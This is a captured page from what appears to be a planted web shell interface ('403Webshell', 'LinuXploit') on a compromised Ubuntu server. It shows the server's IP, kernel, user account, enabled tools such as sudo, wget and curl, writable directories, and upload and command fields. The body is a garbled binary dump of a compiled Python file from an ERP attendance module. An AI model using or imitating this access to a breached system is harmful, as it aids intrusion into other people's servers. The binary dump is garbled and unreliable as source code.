403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/attendance/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/attendance/__pycache__/forms.cpython-310.pyc
o

hͦhI��@s�dZddlZddlZddlZddlZddlmZddlmZddl	m
Z
mZddlm
Z
ddlmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lmZddlmZddlm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+ddl,m-Z-m.Z.m/Z/m0Z0ddl1m2Z2m3Z3ddl4m5Z5ddl6m7Z7ddl8m9Z9ddl:m;Z;ddl<m=Z=e�>e?�Z@Gdd�de
jA�ZAGdd�deA�ZBGdd�deA�ZCGdd�deA�ZDGdd �d e
jE�ZFGd!d"�d"eA�ZGGd#d$�d$eA�ZHGd%d&�d&e
jA�ZIGd'd(�d(eA�ZJGd)d*�d*eJ�ZKgd+�ZLGd,d-�d-e
jM�ZNGd.d/�d/e
jM�ZOGd0d1�d1e
jM�ZPGd2d3�d3e
jM�ZQGd4d5�d5eA�ZRGd6d7�d7e
jM�ZSGd8d9�d9eA�ZTd:d;�ZUGd<d=�d=eA�ZVGd>d?�d?eA�ZWGd@dA�dAeA�ZXdS)Ba�
forms.py

This module contains the form classes used in the application.

Each form represents a specific functionality or data input in the
application. They are responsible for validating
and processing user input data.

Classes:
- YourForm: Represents a form for handling specific data input.

Usage:
from django import forms

class YourForm(forms.Form):
    field_name = forms.CharField()

    def clean_field_name(self):
        # Custom validation logic goes here
        pass
�N)�
month_name)�OrderedDict)�Any�Dict)�forms)�apps)�ValidationError)�QuerySet)�
DateTimeInput��render_to_string)�format_html)�gettext_lazy)�AttendanceFilters)�
Attendance�AttendanceActivity�AttendanceLateComeEarlyOut�AttendanceOverTime�AttendanceRequestComment�AttendanceValidationCondition�BatchAttendance�	GraceTime�WorkRecords�attendance_date_validate�strtime_seconds�validate_time_format)�filtersubordinatesemployeemodel�get_working_days�is_reportingmanager�reload_queryset)�Company�
EmployeeShift)�EmployeeFilter)�Employee)�horilla_middlewares)�HorillaMultiSelectField)�HorillaMultiSelectWidgetc� eZdZdZ�fdd�Z�ZS)�	ModelFormzC
    Overriding django default model form to apply some styles
    c	s�t�j|i|��t|j�ttjdd�}|j��D]�\}}|j}t	|t
j�r-tj
��|_t	|t
jt
jt
jf�rJt|j���}|jj�d|d��nWt	|t
jf�rwd}|jdur]t|j�}td�j|d�|_|j|jj�dt��dd	��n*t	|t
j�r�t|j�}|jj�d|d
dd��nt	|t
jt
jf�r�|jj�d
di�t	|t
j�r�t
jddd�d�|_t	|t
j �r�t
jddd�d�|_z
|j!j"|jd_Wn	t#y�Ynwz|j!j"j$|jd_Wqt#y�YqwdS)N�request�oh-input w-100��class�placeholder�z---Choose {label}---��label�oh-select oh-select-2 w-100zheight:50px;border-radius:0;)r,�id�style��()r,r-�rows�colsr,zoh-switch__checkbox�date��typer,��attrs�time�employee_id�
company_id)%�super�__init__r�fields�getattrr$�_thread_locals�items�widget�
isinstancer�	DateInput�datetimer8�today�initial�NumberInput�
EmailInput�	TextInput�_r0�titler<�update�Select�format�empty_label�uuid�uuid4�Textarea�
CheckboxInput�CheckboxSelectMultiple�	TimeInput�user�employee_get�	Exception�get_company)�self�args�kwargsr)�
field_name�fieldrFr0��	__class__�� /var/www/erp/attendance/forms.pyrAMsz
��

��
����������zModelForm.__init__��__name__�
__module__�__qualname__�__doc__rA�
__classcell__rfrfrdrgr(H�r(cs>eZdZdZGdd�d�Zdd�Z�fdd�Zdd	�Z�ZS)
�AttendanceUpdateFormz�
    This model form is used to direct save the validated query dict to attendance model
    from AttendanceUpdateForm. This form can be used to update existing attendance.
    c@sbeZdZdZdZgd�ZeZeddid�eddid�eddid�eddid�eddid�d�Z	d	S)
zAttendanceUpdateForm.Meta�7
        Meta class to add the additional info
        �__all__)�overtime_second�at_work_second�attendance_day�request_description�approved_overtime_second�request_type�requested_data�is_validate_request�is_validate_request_approved�attendance_overtime�	is_active�
is_holidayr:r=r;r8��attendance_clock_in�attendance_clock_out�attendance_clock_out_date�attendance_date�attendance_clock_in_dateN)
rirjrkrlrB�excluder�modelr
�widgetsrfrfrfrg�Meta�s
�r�c
C�0|j|jj�tt���ddddddd��dS)�4Update the widget attributes for worked hour fields.�#attendanceUpdateForm�%#id_attendance_worked_hour_parent_div�	outerHTML�$/attendance/update-worked-hour-field�change delay:300ms�r2�
hx-include�	hx-target�hx-swapz	hx-select�hx-getz
hx-triggerN�rBrFr<rQ�strrUrV�r_rbrfrfrg�update_worked_hour_hx_fields��
��z1AttendanceUpdateForm.update_worked_hour_hx_fieldscs�|�d�}rCtj��}|r|jrt|j�nd}|j�d�|j�d�|j	�d�d�}|j
dur?|j�d�|d<|j
�d�|d<||d<t�j
|i|��|jd	jj�d
tt���i�|jdjj�tt���ddd
d��dD]}|�|�qq|jdjj�ddi�|jdjj�d
tt���i�td�|jd_td�|jd_|dur�|js�t|j�|ks�|js�|jd=t|jdj�dg|jd_|jdjj�ddi�dS)N�instancer�%Y-%m-%d�%H:%M�r�rr�r�r�rKr>r2�shift_idr��%/attendance/update-fields-based-shift�r2r�r�r��r�rr�r�r��onchange�attendanceDateChange($(this))�work_type_idzApprove overtime?�attendance_overtime_approvezValidate Attendance?�attendance_validated�batch_attendance_id��dynamic_createzDynamic create�dynamicBatchAttendance($(this)))�getr�objects�first�minimum_overtime_to_approverr��strftimerr�r�r�r@rArBrFr<rQr�rUrVr�rOr0r�r{r��list�choices)r_r`rar��	conditionrKrcrdrfrgrA�sl
���

��

�
� 
���� ��
����zAttendanceUpdateForm.__init__cO�d|i}td|�}|S��S
        Render the form fields as HTML table rows with Bootstrap styling.
        �formzattendance_form.htmlr�r_r`ra�context�
table_htmlrfrfrg�as_p	�
zAttendanceUpdateForm.as_p)	rirjrkrlr�r�rAr�rmrfrfrdrgro�sErocs�eZdZdZeejjdd�ede	ddd�e
d�d	�ZGd
d�d�Zdd
�Z
�fdd�Zd�fdd�	Zdd�Zdeeeff�fdd�Zdd�Z�ZS)�AttendanceFormz)
    Model form for Attendance model
    F)�employee_work_info__isnullzemployee-widget-filter�fzemployee_filters.html)�filter_route_name�filter_class�filter_instance_contex_name�filter_template_path�	Employees��querysetrFr0c@sbeZdZdZeZdZgd�Zeddid�eddid�eddid�eddid�eddid�d�Z	d	S)
zAttendanceForm.Metarprq)r��attendance_overtime_calculationrsrrrtrurvrwrxryrzr{r|r}r:r=r;r8r~N)
rirjrkrlrr�rBr�r
r�rfrfrfrgr�"s
�r�c
Cr�)r��#attendanceCreateFormr�r�r�r�r�Nr�r�rfrfrgr�Ar�z+AttendanceForm.update_worked_hour_hx_fieldscs�|�di�}tj�����d�tj�����d�d�}|�d�}rL|�|j�d�|j	�d�|j
�d�d��|jdurL|j�d�|d<|j�d�|d<|�|�||d<t
�j|i|��t|j�|jd	jj�d
tt���i�|jdjj�tt���ddd
d��dD]}|�|�q�|jdjj�ddi�|jdjj�d
tt���i�t|jdj�dg|jd_|jdjj�ddi�dS)NrKr�r�)r�r�r�r�r�r�r>r2r�r�r�r�r�r�r�r�r�r�r�r�)�poprIrJr8r�r=r�rQr�rr�r�r�r@rArrBrFr<r�rUrVr�r�r�)r_r`ra�view_initialrKr�rcrdrfrgrAOsd�
����

�
�

 
��
�� 
����zAttendanceForm.__init__Tcsxt�jdd�}|j�d�D]&}t|�t|jj�kr3|j��}|�dt	|�i�t
|�jdd�}|��q
|r:|��|S)NF��commitr>)r@�save�data�getlist�intr>r2�copyrQr�ro)r_r�r��emp_id�	data_copy�
attendancerdrfrgr��s
�zAttendanceForm.savecOr�r�rr�rfrfrgr��r�zAttendanceForm.as_p�returncs�t���tjj|j�d�d���|j_	|j
�dd�|jj	dur)tdt
d�i��t���|j�d�}tjj|jdd�j|d�}|��rZdd�|D�}tdd	d
�|��d�i��dS)Nr>)r2zThis field is requiredr�)r�)�employee_id__id__incSsg|]}|j���qSrf)r>�__str__)�.0r�rfrfrg�
<listcomp>�s
�z(AttendanceForm.clean.<locals>.<listcomp>zAlready attendance exists for z, z
 employees)r@�cleanr#r��filterr�r�r�r�r>�errorsr�rrOr�r�exists�join)r_�employee_ids�existing_attendance�employee_namesrdrfrgr��s2

��
������zAttendanceForm.cleancCsj|jd}|D]}tjj||jdd���}|dur$ttdj|d����q|��dur1ttd���|��S)z4
        Used to validate employee_id field
        r>r��r>r�Nz0Attendance for the date already exists for {emp})�empzEmployee not chosen)	�cleaned_datarr�r�r�r�rrOrS)r_�employeer�r�rfrfrg�clean_employee_id�s&

������z AttendanceForm.clean_employee_id�T)rirjrkrlr%r#r�r�r&r"rOr>r�r�rAr�r�rr�rr�r�rmrfrfrdrgr�s&��Ir�cs.eZdZdZGdd�d�Z�fdd�Z�ZS)�AttendanceActivityFormz1
    Model form for AttendanceActivity model
    c@sNeZdZdZeZdZeddid�eddid�eddid�eddid�d�ZdS)	zAttendanceActivityForm.Metarprqr:r=r;r8)�clock_in�	clock_out�
clock_in_date�clock_out_dateN)	rirjrkrlrr�rBr
r�rfrfrfrgr��s
�r�csz|�d�}r2|j�d�|j�d�|j�d�d�}|jdur.|j�d�|d<|j�d�|d<||d<t�j|i|��dS)Nr�r�r�)r�r�r�r�r�rK)	r�r�r�r�r�r�r�r@rA)r_r`rar�rKrdrfrgrA�s


�
zAttendanceActivityForm.__init__)rirjrkrlr�rArmrfrfrdrgr��sr�cr')�MonthSelectFieldz 
    Generate month choices
    cs.dd�tdd�D�}t�j|d|i|��dS)NcSs(g|]}t|��tt|���f�qSrf)r�lowerrO�
capitalize)r��irfrfrgr�s�z-MonthSelectField.__init__.<locals>.<listcomp>��
r�)�ranger@rA)r_r`rar�rdrfrgrAs�zMonthSelectField.__init__rhrfrfrdrgr��rnr�csDeZdZdZeed�d�ZGdd�d�Z�fdd�Zdd	�Z	�Z
S)
�AttendanceOverTimeFormz1
    Model form for AttendanceOverTime model
    �Monthr/c@sDeZdZdZeZdZgd�Zed�ed�ed�ed�ed�d	�Z	d
S)zAttendanceOverTimeForm.Metarprq)�hour_account_secondrr�month_sequence�hour_pending_secondr|r#�YearzWorked Hoursz
Pending Hours�Overtime)r>�year�worked_hours�
pending_hours�overtimeN)
rirjrkrlrr�rBr�rO�labelsrfrfrfrgr�s
�r�cs6t�j|i|��|jdjj�dtt���i�dS)Nr>r2)	r@rArBrFr<rQr�rUrV�r_r`rardrfrgrA(s$zAttendanceOverTimeForm.__init__cOr�r�rr�rfrfrgr�,r�zAttendanceOverTimeForm.as_p)rirjrkrlr�rO�monthr�rAr�rmrfrfrdrgr�sr�c@�eZdZdZGdd�d�ZdS)�AttendanceLateComeEarlyOutFormz>
    Model form for attendance AttendanceLateComeEarlyOut
    c@�eZdZdZeZdZdS)z#AttendanceLateComeEarlyOutForm.MetarprqN)rirjrkrlrr�rBrfrfrfrgr�:�r�N�rirjrkrlr�rfrfrfrgr5�rc@s�eZdZdZejddejddd�d�eed�ed	��d
�Z	ejddejddd�d�ed�d
�Z
ejddejdd
d�d�ed�d
�Zejed�e
j��dejddid�d�ZGdd�d�ZdS)�!AttendanceValidationConditionFormz6
    Model form for AttendanceValidationCondition
    Tz00:00r*z09:00r+r;zn<span title='Do not Auto Validate Attendance if an Employee Works More Than this Amount of Duration'>{}</span>z'Worked Hours(At Work) Auto Approve Till)�requiredrKrFr0z00:30z Minimum Hour to Approve Overtimez02:00z Maximum Allowed Overtime Per Dayr Fr,r1)r0r�rrFc@seZdZeZdZdgZdS)z&AttendanceValidationConditionForm.Metarqr|N)rirjrkrr�rBr�rfrfrfrgr�ls
r�N)rirjrkrlr�	CharFieldrNr
rO�validation_at_workr��overtime_cutoff�ModelMultipleChoiceFieldr r��all�SelectMultipler?r�rfrfrfrgrCsL����
�����rcsVeZdZdZdd�Z�fdd�ZGdd�d�Zdd	�Zddede	f�fd
d�
Z
�ZS)�AttendanceRequestFormz
    AttendanceRequestForm
    c
Cr��r��#attendanceRequestFormr�r�r�r�r�Nr�r�rfrfrgr�wr�z2AttendanceRequestForm.update_worked_hour_hx_fieldscs<|�d�}r2|j�d�|j�d�|j�d�d�}|jdur.|j�d�|d<|j�d�|d<||d<t�j|i|��d|j	d_
d|j	d_
|j	d	jj�
tt���d
ddd
d��dD]}|�|�q]|j	djj�
ddi�|j	djj�
dtt���i�t|j	dj�dg|j	d_|j	djj�
ddi�dS)Nr�r�r�r�r�r�rKFr�rz#attendanceRequestDivr�r�)r2r�r�r�r�r�r�r�r�r�r2r�r�r�)r�r�r�rr�r�r�r@rArBrrFr<rQr�rUrVr�r�r�)r_r`rar�rKrcrdrfrgrA�sP

��

�
�
��	�� 
����zAttendanceRequestForm.__init__c@seZdZdZeZgd�ZdS)zAttendanceRequestForm.Meta�3
        Meta class for additional options
        )r�r�r�r�rr�r��attendance_worked_hour�minimum_hourrur�N�rirjrkrlrr�rBrfrfrfrgr��sr�cOr�r�rr�rfrfrgr��r�zAttendanceRequestForm.as_p.r�r�cst��d�S)NF)r@r�)r_r�rdrfrgr��szAttendanceRequestForm.save).)rirjrkrlr�rAr�r��boolrr�rmrfrfrdrgrrs5 rcsBeZdZdZ�fdd�Zdd�Zdeeeff�fdd�Z	�Z
S)	�NewRequestFormz
    NewRequestForm class
    c	s�t�j|i|��|�di�}|j}tjtjjdd�t	d�tj
dddd�d	�|�d
�d�tjdt	d
�tj
dddd�d	�d�d�}t	d�|jd_|�|�||_||d<dS)NrKT�r|r#r1�#id_shift_id_divz)/attendance/get-employee-shift?bulk=False�r,r�r�r;r>)r�r0rFrKF�Create Bulk�oh-checkbox�#objectCreateModalTargetz,/attendance/request-new-attendance?bulk=True�rr0rF)r>�create_bulkzRequest descriptionru)r@rAr�rBr�ModelChoiceFieldr#r�r�rOrRr��BooleanFieldrXr0rQ)r_r`rar��old_dict�new_dictrdrfrgrA�s:�������
zNewRequestForm.__init__cOr�)r�r�z)requests/attendance/request_new_form.htmlr�r_r`rar��	form_htmlrfrfrgr�s
�zNewRequestForm.as_pr�c	s�t���|jd}|jd}tjj||d�}|r$t|d�s$ttd���|||jd|jd|jd|jd	|jd
|jd|jd|j	d
d�
}|�
�r�|j|d<t|�|d<|j	d|d<|j	d|d<|ddkrndn|d|d<|d	dkr|dn|d	|d	<|j	d|d<|j	d
|d
<|�
�}|��D]
\}}t|�||<q�t�|�|_d|_|jdkr�d|_|j	d|_|��d|_dStdi|��}d|_d|_|j	d|_d|_||_dS)Nr>r�r��employee_work_info�Employee work info not foundr�rr�r�r�r�rr)
r>r�r�rr�r�r�r�rr�NoneT�create_request�update_requestruFrf)r@r�r�rr�r��hasattrrrOr�r�r2r�r�rE�json�dumpsrxryrwrur��new_instancer�)	r_r�r��attendancesr�r��key�valuer-rdrfrgr�sh


��
����
zNewRequestForm.clean)rirjrkrlrAr�rr�rr�rmrfrfrdrgr�s
%"
r)r2�attendance_id__employee_id�in_datetime�out_datetimerxrsrvryrzrurwr�r��horilla_historyc@�>eZdZdZej��Zdd�eD�Ze	j
ee	jgd�d�ZdS)�AttendanceExportFormz�
    This form allows users to choose which fields of the `Attendance` model
    they want to include in the export excel file as column. The fields are
    presented as a list of checkboxes, and the user can select multiple fields.
    cC�,g|]}t|d�r|jtvr|j|jf�qS��verbose_name�r*�name�excluded_fieldsr9�r�rcrfrfrgr�e��

�zAttendanceExportForm.<listcomp>)
r>r�r�r�rr�r�r�rr��r�rFrKN)
rirjrkrlr�_meta�
get_fields�model_fields�
field_choicesr�MultipleChoiceFieldrY�selected_fieldsrfrfrfrgr6]s
�
�r6c@sleZdZdZej��Zdd�eD�Ze	j��Z
dd�e
D�ZeeZe
e�e��Zejeejgd�d�ZdS)�LateComeEarlyOutExportForma
    This form allows users to choose fields from both the `AttendanceLateComeEarlyOut`
    model and the related `Attendance` model to include in the export excel file.
    The fields are presented as checkboxes, and users can select multiple fields.
    cCr7r8r:r=rfrfrgr��r>z%LateComeEarlyOutExportForm.<listcomp>cCs0g|]}t|d�r|jtvrd|j|jf�qS)r9�attendance_id__r:r=rfrfrgr��s�
�)r>r:�attendance_id__attendance_date�'attendance_id__attendance_clock_in_date�"attendance_id__attendance_clock_in�(attendance_id__attendance_clock_out_date�#attendance_id__attendance_clock_outr?N)rirjrkrlrr@rArB�field_choices_1r�model_fields_2�field_choices_2rCr�r�fromkeysrrDrYrErfrfrfrgrF}s"
�
�
�rFc@r5)�AttendanceActivityExportFormz�
    This form allows users to choose specific fields from the `AttendanceActivity`
    model to include in the export excel file. The fields are presented as checkboxes,
    enabling users to select multiple fields.
    cCr7r8r:r=rfrfrgr��r>z'AttendanceActivityExportForm.<listcomp>)r>r�r�r�r�r�r?N)
rirjrkrlrr@rArBrCrrDrYrErfrfrfrgrQ��
�
�rQc@r5)�AttendanceOverTimeExportFormz�
    This form allows users to choose specific fields from the `AttendanceOverTime`
    model to include in the export. The fields are presented as checkboxes,
    enabling users to select multiple fields.
    cCr7r8r:r=rfrfrgr��r>z'AttendanceOverTimeExportForm.<listcomp>)r>r�r�r�r�r�r?N)
rirjrkrlrr@rArBrCrrDrYrErfrfrfrgrS�rRrSc@s8eZdZdZejej��de	d�d�Z
Gdd�d�ZdS)�
GraceTimeForm�.
    Form for create or update Grace time
    Fz1Allcocate this grace time for Check-In Attendance)r�r�	help_textc@s:eZdZdZeZdZe��ej	ddid�d�Z
gd�ZdS)	zGraceTimeForm.Metarrqr-z00:00:00 Hoursr;)�
is_default�allowed_time)r��allowed_time_in_secsr|N)rirjrkrlrr�rBr�HiddenInputrNr�r�rfrfrfrgr��s�r�N)rirjrkrlrrr!r�rrO�shiftsr�rfrfrfrgrT�s�rTcsBeZdZdZejej��d�Z	e
d�Zdd�Z�fdd�Z
�ZS)�GraceTimeAssignFormrU)r�z
Assign ShiftscOr��r�r�zcommon_form.htmlrr#rfrfrgr��r�zGraceTimeAssignForm.as_pcs(t�j|i|��d|jdjjd<dS)Nzoh-select w-100 oh-select-2r[r,)r@rArBrFr<r�rdrfrgrAszGraceTimeAssignForm.__init__)rirjrkrlrrr!r�rr[rOr9r�rArmrfrfrdrgr\�s�r\c@r)�AttendanceRequestCommentFormz'
    AttendanceRequestComment form
    c@r)z!AttendanceRequestCommentForm.Metar)�commentN)rirjrkrlrr�rBrfrfrfrgr�
rr�Nrrfrfrfrgr^rr^cs�t||�}|d}|��g�t|�dkrit�d�r5ddlm}||d|ddd�d�}|jj|d	�}nt	��
�}g�t|�dkrM|D]}�|��7�qDt|d|dd
�d�}|jj|d	�}	t
|	jddd
�����fdd�|D�}
|
S)zA
    This method will return a list of company working dates
    �working_days_onr�leave)�LeaveRequestFilter����approved)�	from_date�to_date�status�r�)r>)�attendance_date__gte�attendance_date__lter�T)�flatcs g|]}|�vr|�vr|�qSrfrf)r�r8��approved_leave_dates�attendance_datesrfrgr�@s
�z!get_date_list.<locals>.<listcomp>)r�sort�lenr�is_installed�
leave.filtersrb�qsr�r	�none�requested_datesrr��values_list)r>rerf�
working_dates�working_date_listrb�approved_leave_dates_filteredra�attendance_filtersr��	date_listrfrlrg�
get_date_listsD

���
����r|c	seZdZdZejejjdd�ej	ddd�d�e
d�d	�Zejd
de
d�ej
dd
dd�d�d�Zejd
e
d�ejddd�d�d�Zejd
e
d�ejddd�d�d�Zejej��d
dej	ddid�d�ZGdd�d�Zdd�Z�fdd �Zd!d"�Zd%�fd#d$�	Z�ZS)&�BulkAttendanceRequestFormz-
    Bulk attendance request create form
    Trrz(/attendance/get-employee-shift?bulk=True)r�r�r;r#r�Frrrz-/attendance/request-new-attendance?bulk=Falser)rrKr0rFz	From Dater8zform-controlr9rzTo Date�Batchr�r�)r�rr0rFc@r)zBulkAttendanceRequestForm.Metar)r>rrerfr�r�rr�rrruNrrfrfrfrgr�trr�c
Cr�rr�r�rfrfrgr��r�z6BulkAttendanceRequestForm.update_worked_hour_hx_fieldscs�ttjdd�}|jj}t�j|i|��|r%t|d�r%|jj	}||j
d_dD]}|�|�q'|j�
d�s9t|�rRt|tj��dd�}|tjj|jd�B|j
d	_ntjj|jd�|j
d	_t|j
d
j�dg|j
d
_dS)Nr)r%r�)rr�zattendance.add_attendancezpms.add_feedback)�perm)�employee_user_idr>r�r�)rCr$rDr[r\r@rAr*r%r�rBrKr��has_permrrr#r�rr�r�r�r�)r_r`rar)r��shiftrc�	employeesrdrfrgrA�s2����
��z"BulkAttendanceRequestForm.__init__cCs|j}|�d�}|�d�}|�d�}|�d�}|�d�}|�d�}tj����}tj����}	t|�t|�t|�t|�t	|||�}
|rU|rU||krUt
dtd�i��||	krg||krgt
dd|�d	�i��|rtt|d
�stt
td���t
|
�dkr�t
td
���|S)Nrerfrrr�r>z!To date should be after from datez-Check out time is in the future for the date �.r%r&rzKThere is no valid date to create attendance request between this date range)r�r�rI�nowr=rJr8rrr|rrOr*rp)r_r�rerfrrr�r>r�rJr{rfrfrgr��s>






����zBulkAttendanceRequestForm.cleanc
s2|j}|�d�}|�d�}|�d�}|�d�}|�d�}|�d�}|�d�}	|�d�}
|�d	�}|jj}t|||�}
|�d
�rD|�d
�nd}||||||
d||	d�	}|
D]5}|�|||d
��t|d�}|��r�|jdd�}d|_	||_
d|_d|_|r||_
|��qTt|j�qTt�jdd�}|r�|��|S)Nr>rerfr�rr�rurrr�T)	r>r�r�rr�rryrru)r�r�r�rhFr�r()r�r�r%r�r|rQr�is_validr�ryr>rw�is_bulk_requestr��loggerr�r@)r_r�r�r>rerfr�rr�rurrr�r{�batch�initial_datar8r�r�rdrfrgr��s`








�����

zBulkAttendanceRequestForm.saver�)rirjrkrlrrr#r�r�rRrOr>r rXr�	DateFieldrHrerfrrr�r�r�rAr�r�rmrfrfrdrgr}HsV���
������#r}c@r)�WorkRecordsFormz
    WorkRecordForm
    c@seZdZdZdZeZdS)zWorkRecordsForm.MetarrqN)rirjrkrlrBrr�rfrfrfrgr�rr�Nrrfrfrfrgr�rr�cs>eZdZdZed�ZGdd�d�Zdd�Z�fdd�Z�Z	S)	�BatchAttendanceFormz
    BatchAttendanceForm
    zCreate attendance batchc@seZdZdZdZeZdgZdS)zBatchAttendanceForm.Metarrqr|N)rirjrkrlrBrr�r�rfrfrfrgr�%s

r�cOr�r]rr#rfrfrgr�.r�zBatchAttendanceForm.as_pcs,t�j|i|��|jjrtd�|_dSdS)NzUpdate batch attendance)r@rAr��pkrOr9r�rdrfrgrA6s�zBatchAttendanceForm.__init__)
rirjrkrlrOr9r�r�rArmrfrfrdrgr�s	r�)YrlrIr+�loggingrU�calendarr�collectionsr�typingrr�djangor�django.appsr�django.core.exceptionsr�django.db.models.queryr	�django.formsr
�django.template.loaderr�django.utils.htmlr
�django.utils.translationrrO�attendance.filtersr�attendance.modelsrrrrrrrrrrrr�base.methodsrrrr�base.modelsr r!�employee.filtersr"�employee.modelsr#�horillar$�2horilla_widgets.widgets.horilla_multi_select_fieldr%�&horilla_widgets.widgets.select_widgetsr&�	getLoggerrir�r(ror�r��ChoiceFieldr�r�rrrrr<�Formr6rFrQrSrTr\r^r|r}r�r�rfrfrfrg�<module>sd8
KJ$*/ip $2I

Youez - 2016 - github.com/yon3zu
LinuXploit